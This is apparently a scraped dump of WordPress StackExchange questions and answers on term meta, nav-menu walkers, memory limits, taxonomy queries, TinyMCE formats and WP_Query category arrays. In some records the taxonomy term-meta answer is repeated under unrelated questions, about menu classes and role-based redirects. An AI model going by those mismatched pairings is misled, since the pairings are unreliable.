[ "https://wordpress.stackexchange.com/questions/286052", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131589/" ]
i add some custom meta field to product taxonomy "artist" they work well and save to taxonomy ``` /** add meta data to artist taxonomy */ function artist_add_meta_fields( $taxonomy ) { ?> <div class="form-field term-group"> <label for="artist_nickname"><?php _e( 'Nickname', 'my-plugin' ); ?></label> <input type="text" id="artist_nickname" name="artist_nickname" /> </div> <?php } add_action( 'artist_add_form_fields', 'artist_add_meta_fields', 10, 2 ); function artist_edit_meta_fields( $term, $taxonomy ) { $artist_nickname = get_term_meta( $term->term_id, 'artist_nickname', true ); ?> <tr class="form-field term-group-wrap"> <th scope="row"> <label for="artist_nickname"><?php _e( 'Nickname', 'my-plugin' ); ?></label> </th> <td> <input type="text" id="artist_nickname" name="artist_nickname" value="<?php echo $artist_nickname; ?>" /> </td> </tr> <?php } add_action( 'artist_edit_form_fields', 'artist_edit_meta_fields', 10, 2 ); function artist_save_taxonomy_meta( $term_id, $tag_id ) { if( isset( $_POST['artist_nickname'] ) ) { update_term_meta( $term_id, 'artist_nickname', esc_attr( $_POST['artist_nickname'] ) ); } } add_action( 'created_artist', 'artist_save_taxonomy_meta', 10, 2 ); add_action( 'edited_artist', 'artist_save_taxonomy_meta', 10, 2 ); ``` but i cant get them in taxonomy-artist.php in frontend ``` //Get Taxonomy Meta $artist_nickname = get_term_meta($term->term_id,'artist_nickname'); echo $artist_nickname; ``` but nothing displayed. where is my problem?
If you want to display in archive or category (taxonomy) template, try this: ``` $artist_nickname = get_term_meta( get_queried_object_id(), 'artist_nickname', true); echo $artist_nickname; ```
286,053
<p>how do you create this customize menu using wp_nav_menu function? </p> <p><strong>function.php file</strong></p> <pre><code>register_nav_menus( array( 'header-menu' =&gt; 'Header Menu', 'footer-menu' =&gt; 'Footer Menu' ) ); </code></pre> <p><strong>header.php file</strong></p> <pre><code> &lt;?php wp_nav_menu( array( 'theme_location' =&gt; 'header-menu', 'container' =&gt; '', ) ); ?&gt; </code></pre> <p><strong>How do i assign <code>class</code> to <code>&lt;ul&gt; and &lt;li&gt;</code></strong></p> <p><strong>Html Example</strong></p> <pre><code>&lt;ul class="nav header-nav header-bottom-nav nav-center nav-uppercase"&gt; &lt;li class=""&gt;&lt;a href="index.php" class="nav-top-link"&gt;Home&lt;/a&gt;&lt;/li&gt; &lt;li class="has-dropdown"&gt;&lt;a href="testing.php" class="nav-top-link"&gt;Testing&lt;i class="icon-angle-down" &gt;&lt;/i&gt;&lt;/a&gt; &lt;ul class='nav-dropdown nav-dropdown-default'&gt; &lt;li&gt;&lt;a href="hello.php"&gt;Hello&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; </code></pre> <p><strong>Result Should Be Like This In Wordpress Function</strong> <a href="https://i.stack.imgur.com/GNKiy.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/GNKiy.png" alt="enter image description here"></a></p> <p><strong>Here The Solution With The Help Of Walker_Nav_Menu Function</strong></p> <p><strong>Walker_Nav_Menu Function</strong> </p> <pre><code>Function.php class Desktop_Walker_Nav_Menu extends Walker_Nav_Menu { function start_el(&amp;$output, $item, $depth = 0, $args = array(), $id = 0) { if (array_search('menu-item-has-children', $item-&gt;classes)) { $output .= sprintf("\n&lt;li class='menu-item has-dropdown dropdown %s'&gt;&lt;a href='%s' class=\"nav-top-link\" &gt;%s &lt;i class='icon-angle-down' &gt;&lt;/i&gt;&lt;/a&gt; \n", ( array_search('current-menu-item', $item-&gt;classes) || array_search('current-page-parent', $item-&gt;classes) ) ? 'active' : '', $item-&gt;url, $item-&gt;title); } else { $output .= sprintf("\n&lt;li %s&gt;&lt;a href='%s'&gt;%s&lt;/a&gt;\n", ( array_search('current-menu-item', $item-&gt;classes) ) ? '' : '', $item-&gt;url, $item-&gt;title ); } } function start_lvl(&amp;$output, $depth) { $indent = str_repeat("\t", $depth); $output .= "\n$indent&lt;ul class=\"nav-dropdown nav-dropdown-default\" role=\"menu\"&gt;\n"; } } </code></pre> <p><strong>Header.php Code</strong></p> <pre><code>&lt;?php $defaults = array( 'theme_location' =&gt; 'header-menu', 'container' =&gt; 'ul', 'menu_class' =&gt; 'nav header-nav header-bottom-nav nav-center nav-uppercase', 'walker' =&gt; new Desktop_Walker_Nav_Menu() ); wp_nav_menu( $defaults ); ?&gt; </code></pre>
[ { "answer_id": 286056, "author": "JoseLazo", "author_id": 58041, "author_profile": "https://wordpress.stackexchange.com/users/58041", "pm_score": 3, "selected": true, "text": "<p>If you want to display in archive or category (taxonomy) template, try this:</p>\n\n<pre><code>$artist_nickname = get_term_meta( get_queried_object_id(), 'artist_nickname', true);\necho $artist_nickname;\n</code></pre>\n" }, { "answer_id": 286065, "author": "dalveer", "author_id": 60260, "author_profile": "https://wordpress.stackexchange.com/users/60260", "pm_score": 0, "selected": false, "text": "<p>You can use this </p>\n\n<pre><code>$youvaribale = get_term_meta( get_queried_object_id(), 'fieldname', true);\n</code></pre>\n\n<p>OR</p>\n\n<pre><code>$youvaribale = get_term_meta( catid, 'fieldname', true);\n\necho $youvaribale;\n</code></pre>\n" } ]
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286053", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/-1/" ]
how do you create this customize menu using wp\_nav\_menu function? **function.php file** ``` register_nav_menus( array( 'header-menu' => 'Header Menu', 'footer-menu' => 'Footer Menu' ) ); ``` **header.php file** ``` <?php wp_nav_menu( array( 'theme_location' => 'header-menu', 'container' => '', ) ); ?> ``` **How do i assign `class` to `<ul> and <li>`** **Html Example** ``` <ul class="nav header-nav header-bottom-nav nav-center nav-uppercase"> <li class=""><a href="index.php" class="nav-top-link">Home</a></li> <li class="has-dropdown"><a href="testing.php" class="nav-top-link">Testing<i class="icon-angle-down" ></i></a> <ul class='nav-dropdown nav-dropdown-default'> <li><a href="hello.php">Hello</a></li> </ul> </li> </ul> ``` **Result Should Be Like This In Wordpress Function** [![enter image description here](https://i.stack.imgur.com/GNKiy.png)](https://i.stack.imgur.com/GNKiy.png) **Here The Solution With The Help Of Walker\_Nav\_Menu Function** **Walker\_Nav\_Menu Function** ``` Function.php class Desktop_Walker_Nav_Menu extends Walker_Nav_Menu { function start_el(&$output, $item, $depth = 0, $args = array(), $id = 0) { if (array_search('menu-item-has-children', $item->classes)) { $output .= sprintf("\n<li class='menu-item has-dropdown dropdown %s'><a href='%s' class=\"nav-top-link\" >%s <i class='icon-angle-down' ></i></a> \n", ( array_search('current-menu-item', $item->classes) || array_search('current-page-parent', $item->classes) ) ? 'active' : '', $item->url, $item->title); } else { $output .= sprintf("\n<li %s><a href='%s'>%s</a>\n", ( array_search('current-menu-item', $item->classes) ) ? '' : '', $item->url, $item->title ); } } function start_lvl(&$output, $depth) { $indent = str_repeat("\t", $depth); $output .= "\n$indent<ul class=\"nav-dropdown nav-dropdown-default\" role=\"menu\">\n"; } } ``` **Header.php Code** ``` <?php $defaults = array( 'theme_location' => 'header-menu', 'container' => 'ul', 'menu_class' => 'nav header-nav header-bottom-nav nav-center nav-uppercase', 'walker' => new Desktop_Walker_Nav_Menu() ); wp_nav_menu( $defaults ); ?> ```
If you want to display in archive or category (taxonomy) template, try this: ``` $artist_nickname = get_term_meta( get_queried_object_id(), 'artist_nickname', true); echo $artist_nickname; ```
286,061
<p>Can anyone tell How to check User Role and redirect to specific page according to Role when login in Wordpress?</p> <p>Thanks.</p>
[ { "answer_id": 286056, "author": "JoseLazo", "author_id": 58041, "author_profile": "https://wordpress.stackexchange.com/users/58041", "pm_score": 3, "selected": true, "text": "<p>If you want to display in archive or category (taxonomy) template, try this:</p>\n\n<pre><code>$artist_nickname = get_term_meta( get_queried_object_id(), 'artist_nickname', true);\necho $artist_nickname;\n</code></pre>\n" }, { "answer_id": 286065, "author": "dalveer", "author_id": 60260, "author_profile": "https://wordpress.stackexchange.com/users/60260", "pm_score": 0, "selected": false, "text": "<p>You can use this </p>\n\n<pre><code>$youvaribale = get_term_meta( get_queried_object_id(), 'fieldname', true);\n</code></pre>\n\n<p>OR</p>\n\n<pre><code>$youvaribale = get_term_meta( catid, 'fieldname', true);\n\necho $youvaribale;\n</code></pre>\n" } ]
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286061", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131596/" ]
Can anyone tell How to check User Role and redirect to specific page according to Role when login in Wordpress? Thanks.
If you want to display in archive or category (taxonomy) template, try this: ``` $artist_nickname = get_term_meta( get_queried_object_id(), 'artist_nickname', true); echo $artist_nickname; ```
286,072
<p>I want to set WP_MEMORY_LIMIT for my WordPress site. I use from shared hosting and CPanel. I have access to change something like max memory limit on my host. I attached related image in the following that you can see it:</p> <p><a href="https://i.stack.imgur.com/iiI8H.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/iiI8H.jpg" alt="enter image description here"></a></p> <p>I checked max memory limit on host by a php file and <code>phpinfo();</code> and it's set to 512M. </p> <p>My problem is related to set <code>WP_MEMORY_LIMIT</code> on <code>wp-config.php</code> file. I add these line of code to define these constants in WordPress like this: </p> <p><a href="https://i.stack.imgur.com/9YoBB.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9YoBB.jpg" alt="enter image description here"></a></p> <p>I have used from "Server IP &amp; Memory Usage Display" which shows WP memory limit and WP max memory limit at the bottom of each admin panel pages. Strange thing is WP Max Memory limit is 512M but WP Memory limit has been 40M yet. </p> <p>I searched for that in stack-overflow forums and I found that I should change it from <code>default-constants.php</code> in wp-includes directory. </p> <pre><code>// Define memory limits. if ( ! defined( 'WP_MEMORY_LIMIT' ) ) { if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) { define( 'WP_MEMORY_LIMIT', $current_limit ); } elseif ( is_multisite() ) { define( 'WP_MEMORY_LIMIT', '64M' ); } else { define( 'WP_MEMORY_LIMIT', '40M' ); } } if ( ! defined( 'WP_MAX_MEMORY_LIMIT' ) ) { if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) { define( 'WP_MAX_MEMORY_LIMIT', $current_limit ); } elseif ( -1 === $current_limit_int || $current_limit_int &gt; 268435456 /* = 256M */ ) { define( 'WP_MAX_MEMORY_LIMIT', $current_limit ); } else { define( 'WP_MAX_MEMORY_LIMIT', '256M' ); } } </code></pre> <p>I changed it and it works correctly but it's not a right way because every time I update WordPress, it'll change to 40M again and I have to change it manually again from <code>default-constants.php</code>. </p> <p>So How can I solve this issue? Why didn't it apply and work in wp-config? </p>
[ { "answer_id": 286076, "author": "Piyush Rawat", "author_id": 73600, "author_profile": "https://wordpress.stackexchange.com/users/73600", "pm_score": 4, "selected": true, "text": "<p>Need to set both the constants before ABSPATH is defined. Right after this line in wp-config.php</p>\n\n<pre><code>define( 'WP_DEBUG_LOG', true );\n</code></pre>\n" }, { "answer_id": 286077, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 2, "selected": false, "text": "<p>This is because you should define the above before <code>/* That's all, stop editing! Happy blogging. */</code></p>\n\n<p><strong>Like this:</strong></p>\n\n<pre><code>define('WP_MEMORY_LIMIT', '256M');\ndefine('WP_MAX_MEMORY_LIMIT', '512M');\n\n/* That's all, stop editing! Happy blogging. */\n</code></pre>\n" }, { "answer_id": 332289, "author": "Lucas Salinas", "author_id": 163606, "author_profile": "https://wordpress.stackexchange.com/users/163606", "pm_score": 0, "selected": false, "text": "<p>Just define <strong>WP_MEMORY_LIMIT</strong> in your <strong>wp-config.php</strong> file, and set it to your current PHP memory_limit:</p>\n\n<pre><code>define( 'WP_MEMORY_LIMIT', ini_get( 'memory_limit' ) );\n</code></pre>\n\n<p>Add the above line just before the line “<strong>/* That’s all, stop editing! Happy blogging. */</strong>“.</p>\n" } ]
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286072", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/109454/" ]
I want to set WP\_MEMORY\_LIMIT for my WordPress site. I use from shared hosting and CPanel. I have access to change something like max memory limit on my host. I attached related image in the following that you can see it: [![enter image description here](https://i.stack.imgur.com/iiI8H.jpg)](https://i.stack.imgur.com/iiI8H.jpg) I checked max memory limit on host by a php file and `phpinfo();` and it's set to 512M. My problem is related to set `WP_MEMORY_LIMIT` on `wp-config.php` file. I add these line of code to define these constants in WordPress like this: [![enter image description here](https://i.stack.imgur.com/9YoBB.jpg)](https://i.stack.imgur.com/9YoBB.jpg) I have used from "Server IP & Memory Usage Display" which shows WP memory limit and WP max memory limit at the bottom of each admin panel pages. Strange thing is WP Max Memory limit is 512M but WP Memory limit has been 40M yet. I searched for that in stack-overflow forums and I found that I should change it from `default-constants.php` in wp-includes directory. ``` // Define memory limits. if ( ! defined( 'WP_MEMORY_LIMIT' ) ) { if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) { define( 'WP_MEMORY_LIMIT', $current_limit ); } elseif ( is_multisite() ) { define( 'WP_MEMORY_LIMIT', '64M' ); } else { define( 'WP_MEMORY_LIMIT', '40M' ); } } if ( ! defined( 'WP_MAX_MEMORY_LIMIT' ) ) { if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) { define( 'WP_MAX_MEMORY_LIMIT', $current_limit ); } elseif ( -1 === $current_limit_int || $current_limit_int > 268435456 /* = 256M */ ) { define( 'WP_MAX_MEMORY_LIMIT', $current_limit ); } else { define( 'WP_MAX_MEMORY_LIMIT', '256M' ); } } ``` I changed it and it works correctly but it's not a right way because every time I update WordPress, it'll change to 40M again and I have to change it manually again from `default-constants.php`. So How can I solve this issue? Why didn't it apply and work in wp-config?
Need to set both the constants before ABSPATH is defined. Right after this line in wp-config.php ``` define( 'WP_DEBUG_LOG', true ); ```
286,090
<p>I'm trying to pull through a custom post with a custom categories and show only a specific slug.</p> <p>e.g. Custom Post (Job Board) - Custom Category (Job Sector) - Specific Slug (Industrial)</p> <p>What I have show far is;</p> <pre><code>$args = array( 'post_type' =&gt; 'post', 'tax_query' =&gt; array( array( 'taxonomy' =&gt; 'job-sector', 'field' =&gt; 'industrial', //can be set to ID ) ) ); </code></pre> <p>Yet nothing seems to be showing...can anyone help or suggest where I'm going wrong? </p> <p>Thanks</p>
[ { "answer_id": 286094, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 1, "selected": true, "text": "<p>Try something like this:\nWith the post_type the name of your CPT</p>\n\n<pre><code>$args = array(\n 'post_type' =&gt; 'your_cpt_name',\n 'tax_query' =&gt; array(\n array(\n 'taxonomy' =&gt; 'job-sector',\n 'field' =&gt; 'slug',\n 'terms' =&gt; 'industrial',\n )\n )\n);\n$query = new WP_Query( $args );\n</code></pre>\n" }, { "answer_id": 286095, "author": "dalveer", "author_id": 60260, "author_profile": "https://wordpress.stackexchange.com/users/60260", "pm_score": 1, "selected": false, "text": "<p>Use this </p>\n\n<p>$arg = array( 'post_type' => 'custom_post_type_name',</p>\n\n<pre><code>'tax_query' =&gt; array(\n array(\n 'taxonomy' =&gt; 'Brand',\n 'field' =&gt; 'slug',\n 'terms' =&gt; 'Nokia',\n )\n)\n</code></pre>\n\n<p>);</p>\n\n<p>$query = new WP_Query( $arg );</p>\n" } ]
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286090", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/124233/" ]
I'm trying to pull through a custom post with a custom categories and show only a specific slug. e.g. Custom Post (Job Board) - Custom Category (Job Sector) - Specific Slug (Industrial) What I have show far is; ``` $args = array( 'post_type' => 'post', 'tax_query' => array( array( 'taxonomy' => 'job-sector', 'field' => 'industrial', //can be set to ID ) ) ); ``` Yet nothing seems to be showing...can anyone help or suggest where I'm going wrong? Thanks
Try something like this: With the post\_type the name of your CPT ``` $args = array( 'post_type' => 'your_cpt_name', 'tax_query' => array( array( 'taxonomy' => 'job-sector', 'field' => 'slug', 'terms' => 'industrial', ) ) ); $query = new WP_Query( $args ); ```
286,116
<p>I want to give the backend-users only 4 text styles to choose from. Headline, Subheadline, Paragraph and a style we called <code>.statement</code>.</p> <p>Searching for terms like "custom styles in TinyMCE" always ended up with this article from wordpress itself. <a href="https://codex.wordpress.org/TinyMCE_Custom_Styles" rel="nofollow noreferrer">https://codex.wordpress.org/TinyMCE_Custom_Styles</a></p> <p><a href="https://i.stack.imgur.com/z6UKE.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/z6UKE.png" alt="enter image description here"></a></p> <p>Unfortunately I don't want to give access to another dropdown. I need to strip the current dropdown of its content and populate it with my own styles.</p> <p>In the first step I actually don't care about how they look both in the dropdown and in the visual-editor itself. The key here is to take away unnecessary styling options; options the design &amp; frontend will not support. (Although it would be great to alter the looks inside the editor itself)</p> <p>.</p> <p><code>function my_mce_before_init_insert_formats( $init_array ) {</code></p> <p>I looked at the <code>$init_array</code> and couldn't find where the dropdown is being created. </p> <p>Thrilled for your suggestions :)</p> <p>Louis!</p>
[ { "answer_id": 286374, "author": "Vlad K.", "author_id": 109146, "author_profile": "https://wordpress.stackexchange.com/users/109146", "pm_score": 4, "selected": true, "text": "<p>I was having the same issue and here is what you can do. The code below disables the h1 tag from the block formats section. The same way you can disable other tags and also add your own. But I'm not sure about how to add custom CSS styles to them. Hope this code will give you a hint in which way to dig.</p>\n\n<pre><code>//Modify TinyMCE editor to hide H1. \nfunction tiny_mce_remove_unused_formats( $initFormats ) {\n // Add block format elements you want to show in dropdown\n $initFormats['block_formats'] = 'Paragraph=p;Heading 2=h2;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading 6=h6;Preformatted=pre';\n return $initFormats;\n}\nadd_filter( 'tiny_mce_before_init', 'tiny_mce_remove_unused_formats' );\n</code></pre>\n\n<p><br>\n<strong>Update:</strong> </p>\n\n<p>The thing you are looking for was possible before Wordpress 3.9 had been released.\nEarlier you had to write those lines of code to make it possible. But unfortunately, <code>theme_advanced_styles</code> is deprecated since WP 3.9 updated the TinyMCE to version 4 (<a href=\"https://codex.wordpress.org/TinyMCE\" rel=\"noreferrer\">see the Change Log</a>). More information on the <a href=\"https://ozz.blog/2014/04/19/customizing-tinymce-4-0/\" rel=\"noreferrer\">Andrew Ozz blog</a>. \n<br><br>This is how it was earlier (<a href=\"http://wesbos.com/custom-wordpress-tinymce-wysiwyg-classes/\" rel=\"noreferrer\">source</a>):</p>\n\n<pre><code>function make_mce_awesome( $init ) {\n // deprecated settings\n $init['theme_advanced_blockformats'] = 'h2,h3,h4,p';\n $init['theme_advanced_disable'] = 'underline,spellchecker,wp_help';\n $init['theme_advanced_text_colors'] = '0f3156,636466,0486d3';\n $init['theme_advanced_buttons2_add'] = 'styleselect';\n $init['theme_advanced_styles'] = \"bigTitle=bigTitle;Call To Action Button=ctaButton,Rounded Corners=rounded\";\n return $init;\n}\n\nadd_filter('tiny_mce_before_init', 'make_mce_awesome');\n</code></pre>\n\n<p><br>\n<strong>Solution:</strong></p>\n\n<p>Anyway, I have my solution for your task. You can get rid of the default drop-down and add formats drop-down with four styles in it. This will help you to avoid confusions with the users, from what dropdowns they select styles.</p>\n\n<p>Disable the default dropdown:</p>\n\n<pre><code>function remove_default_format_select( $buttons ) {\n //Remove the format dropdown select and text color selector\n $remove = array( 'formatselect' );\n\n return array_diff( $buttons, $remove );\n }\nadd_filter( 'mce_buttons', 'remove_default_format_select' );\n</code></pre>\n\n<p><br>Add new Formats dropdown (<a href=\"https://codex.wordpress.org/TinyMCE_Custom_Styles\" rel=\"noreferrer\">more here</a>):</p>\n\n<pre><code>// Callback function to insert 'styleselect' into the $buttons array\nfunction my_new_mce_buttons( $buttons ) {\n array_unshift( $buttons, 'styleselect' );\n return $buttons;\n}\n// Register our callback to the appropriate filter\nadd_filter( 'mce_buttons', 'my_new_mce_buttons' );\n\n\n// Callback function to filter the MCE settings\nfunction my_mce_before_init_insert_formats( $init_array ) { \n // Define the style_formats array\n $style_formats = array(\n array(\n 'title' =&gt; 'Headline',\n 'block' =&gt; 'h1'\n ),\n array(\n 'title' =&gt; 'SubHeadline',\n 'block' =&gt; 'h2'\n ),\n array(\n 'title' =&gt; 'Statement',\n 'block' =&gt; 'div',\n 'classes' =&gt; 'statement_class',\n 'wrapper' =&gt; true\n )\n );\n // Insert the array, JSON ENCODED, into 'style_formats'\n $init_array['style_formats'] = json_encode( $style_formats ); \n\n return $init_array; \n\n} \n// Attach callback to 'tiny_mce_before_init' \nadd_filter( 'tiny_mce_before_init', 'my_mce_before_init_insert_formats' );\n</code></pre>\n\n<p><br>The last one. Register the css file to get the visual look in your editor: (<a href=\"https://developer.wordpress.org/reference/functions/add_editor_style/\" rel=\"noreferrer\">Learn more</a>)</p>\n\n<pre><code>/**\n * Registers an editor stylesheet for the theme.\n */\nfunction wpdocs_theme_add_editor_styles() {\n add_editor_style( 'custom-editor-style.css' );\n}\nadd_action( 'admin_init', 'wpdocs_theme_add_editor_styles' );\n</code></pre>\n\n<p><br>Hope this helps.</p>\n" }, { "answer_id": 386010, "author": "Vasyl", "author_id": 204250, "author_profile": "https://wordpress.stackexchange.com/users/204250", "pm_score": 2, "selected": false, "text": "<p>In case if you need to edit the block_formats dropdown, you can do this in that way:</p>\n<pre><code>add_filter('tiny_mce_before_init', function($init_array) {\n $block_formats = [\n 'Paragraph=p',\n 'Heading 1=h1',\n 'Heading 2=h2',\n 'Heading 3=h3',\n ];\n $init_array['block_formats'] = implode(';', $block_formats);\n\n return $init_array;\n});\n</code></pre>\n<p>In case if you need to add some custom format, you can do this in that way:</p>\n<pre><code>add_filter('tiny_mce_before_init', function($init_array) {\n $init_array['formats'] = json_encode([\n // add new format to formats\n 'h3marked' =&gt; [\n 'selector' =&gt; 'h3',\n 'block' =&gt; 'h3',\n 'classes' =&gt; 'article-paragraph',\n ],\n ], JSON_THROW_ON_ERROR);\n\n $block_formats = [\n 'Paragraph=p',\n 'Heading 1=h1',\n 'Heading 2=h2',\n 'Heading 3=h3',\n 'Heading 3 marked=h3marked', // use the new format in select\n 'Heading 4=h4',\n 'Heading 5=h5',\n 'Heading 6=h6',\n 'Preformatted=pre',\n ];\n $init_array['block_formats'] = implode(';', $block_formats);\n\n return $init_array;\n});\n</code></pre>\n<p>Inspired by <a href=\"https://stevegrunwell.com/blog/wordpress-tinymce-block-formats/\" rel=\"nofollow noreferrer\">this post</a> and this <a href=\"https://www.tiny.cloud/docs-4x/configure/content-formatting/\" rel=\"nofollow noreferrer\">tinymce docs</a></p>\n" } ]
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286116", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/102487/" ]
I want to give the backend-users only 4 text styles to choose from. Headline, Subheadline, Paragraph and a style we called `.statement`. Searching for terms like "custom styles in TinyMCE" always ended up with this article from wordpress itself. <https://codex.wordpress.org/TinyMCE_Custom_Styles> [![enter image description here](https://i.stack.imgur.com/z6UKE.png)](https://i.stack.imgur.com/z6UKE.png) Unfortunately I don't want to give access to another dropdown. I need to strip the current dropdown of its content and populate it with my own styles. In the first step I actually don't care about how they look both in the dropdown and in the visual-editor itself. The key here is to take away unnecessary styling options; options the design & frontend will not support. (Although it would be great to alter the looks inside the editor itself) . `function my_mce_before_init_insert_formats( $init_array ) {` I looked at the `$init_array` and couldn't find where the dropdown is being created. Thrilled for your suggestions :) Louis!
I was having the same issue and here is what you can do. The code below disables the h1 tag from the block formats section. The same way you can disable other tags and also add your own. But I'm not sure about how to add custom CSS styles to them. Hope this code will give you a hint in which way to dig. ``` //Modify TinyMCE editor to hide H1. function tiny_mce_remove_unused_formats( $initFormats ) { // Add block format elements you want to show in dropdown $initFormats['block_formats'] = 'Paragraph=p;Heading 2=h2;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading 6=h6;Preformatted=pre'; return $initFormats; } add_filter( 'tiny_mce_before_init', 'tiny_mce_remove_unused_formats' ); ``` **Update:** The thing you are looking for was possible before Wordpress 3.9 had been released. Earlier you had to write those lines of code to make it possible. But unfortunately, `theme_advanced_styles` is deprecated since WP 3.9 updated the TinyMCE to version 4 ([see the Change Log](https://codex.wordpress.org/TinyMCE)). More information on the [Andrew Ozz blog](https://ozz.blog/2014/04/19/customizing-tinymce-4-0/). This is how it was earlier ([source](http://wesbos.com/custom-wordpress-tinymce-wysiwyg-classes/)): ``` function make_mce_awesome( $init ) { // deprecated settings $init['theme_advanced_blockformats'] = 'h2,h3,h4,p'; $init['theme_advanced_disable'] = 'underline,spellchecker,wp_help'; $init['theme_advanced_text_colors'] = '0f3156,636466,0486d3'; $init['theme_advanced_buttons2_add'] = 'styleselect'; $init['theme_advanced_styles'] = "bigTitle=bigTitle;Call To Action Button=ctaButton,Rounded Corners=rounded"; return $init; } add_filter('tiny_mce_before_init', 'make_mce_awesome'); ``` **Solution:** Anyway, I have my solution for your task. You can get rid of the default drop-down and add formats drop-down with four styles in it. This will help you to avoid confusions with the users, from what dropdowns they select styles. Disable the default dropdown: ``` function remove_default_format_select( $buttons ) { //Remove the format dropdown select and text color selector $remove = array( 'formatselect' ); return array_diff( $buttons, $remove ); } add_filter( 'mce_buttons', 'remove_default_format_select' ); ``` Add new Formats dropdown ([more here](https://codex.wordpress.org/TinyMCE_Custom_Styles)): ``` // Callback function to insert 'styleselect' into the $buttons array function my_new_mce_buttons( $buttons ) { array_unshift( $buttons, 'styleselect' ); return $buttons; } // Register our callback to the appropriate filter add_filter( 'mce_buttons', 'my_new_mce_buttons' ); // Callback function to filter the MCE settings function my_mce_before_init_insert_formats( $init_array ) { // Define the style_formats array $style_formats = array( array( 'title' => 'Headline', 'block' => 'h1' ), array( 'title' => 'SubHeadline', 'block' => 'h2' ), array( 'title' => 'Statement', 'block' => 'div', 'classes' => 'statement_class', 'wrapper' => true ) ); // Insert the array, JSON ENCODED, into 'style_formats' $init_array['style_formats'] = json_encode( $style_formats ); return $init_array; } // Attach callback to 'tiny_mce_before_init' add_filter( 'tiny_mce_before_init', 'my_mce_before_init_insert_formats' ); ``` The last one. Register the css file to get the visual look in your editor: ([Learn more](https://developer.wordpress.org/reference/functions/add_editor_style/)) ``` /** * Registers an editor stylesheet for the theme. */ function wpdocs_theme_add_editor_styles() { add_editor_style( 'custom-editor-style.css' ); } add_action( 'admin_init', 'wpdocs_theme_add_editor_styles' ); ``` Hope this helps.
286,126
<p>According to the codex, to query posts that can belong to any of a collection of categories, we need to do something like this:</p> <pre><code>$query = new WP_Query( array( 'cat' =&gt; '2,6,17,38' ) ); </code></pre> <p><a href="https://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters" rel="nofollow noreferrer">https://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters</a></p> <p>However, I have the following, which works, and I'm not sure why.</p> <pre><code> $args = array( 'cat' =&gt; $related_cat_ids, 'posts_per_page' =&gt; -1, ); $query = new WP_Query($args); </code></pre> <p>The reason why I'm confused is because $related_cat_ids is actually an array, but the example clearly shows a string of numbers, seperated by commas, for the 'cat' value.</p> <p>Is this something I should be concerned about? Will my code all of a sudden stop working in a future WordPress release? It's more convenient for my case to keep using the array, rather than format it into that string. The reason being is that I'm using <code>get_the_category()</code> to get the categories dynamically, and then pushing the IDs from that array into my new array.</p>
[ { "answer_id": 286127, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 3, "selected": true, "text": "<p>I understand your confusion but you haven't something to worry about as behinds the scenes Wordpress make all the necessary steps to make it work.</p>\n\n<p>For example, take the following code from the <code>class-wp-query.php</code></p>\n\n<pre><code>// If querystring 'cat' is an array, implode it.\nif ( is_array( $q['cat'] ) ) {\n $q['cat'] = implode( ',', $q['cat'] );\n}\n</code></pre>\n\n<p>Is checking to see if is an array and quickly transform the result to a comma-separated string.</p>\n\n<p><strong>Another way will be using the other options like:</strong></p>\n\n<pre><code> category__and An array of category IDs (AND in).\n category__in An array of category IDs (OR in, no children).\n category__not_in An array of category IDs (NOT in).\n</code></pre>\n\n<p><strong>More on this in</strong> <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters\" rel=\"nofollow noreferrer\"><code>Category_Parameters</code></a></p>\n\n<p>But again I would hold to use the way you find more comfortable.</p>\n\n<p>It perfectly fine to use the <code>array()</code> format if you find it more useful besides this is what make <strong>Wordpress</strong> a fun and useful tool to work on.</p>\n" }, { "answer_id": 286128, "author": "ghoul", "author_id": 131136, "author_profile": "https://wordpress.stackexchange.com/users/131136", "pm_score": 1, "selected": false, "text": "<p>Yes, it will work. The info may not be provided on the codex. But if you look at the code <a href=\"https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/class-wp-query.php#L1068\" rel=\"nofollow noreferrer\">here</a> regarding the parameter, you will find that even if an array is passed, it is changed to string. </p>\n\n<pre><code> // If querystring 'cat' is an array, implode it.\n if ( is_array( $q['cat'] ) ) {\n $q['cat'] = implode( ',', $q['cat'] );\n }\n</code></pre>\n\n<p>So you should be safe. So far as I am concerned, it is a good thing that both string and array is accepted as arguments and WordPress community will prolly let it be as it is.</p>\n\n<p>Even if you still have doubt you can always use category__in parameter which always takes an array as below:</p>\n\n<pre><code>$args = array(\n'category__in' =&gt; $related_cat_ids,\n'posts_per_page' =&gt; -1,\n);\n$query = new WP_Query($args);\n</code></pre>\n" } ]
2017/11/16
[ "https://wordpress.stackexchange.com/questions/286126", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/94213/" ]
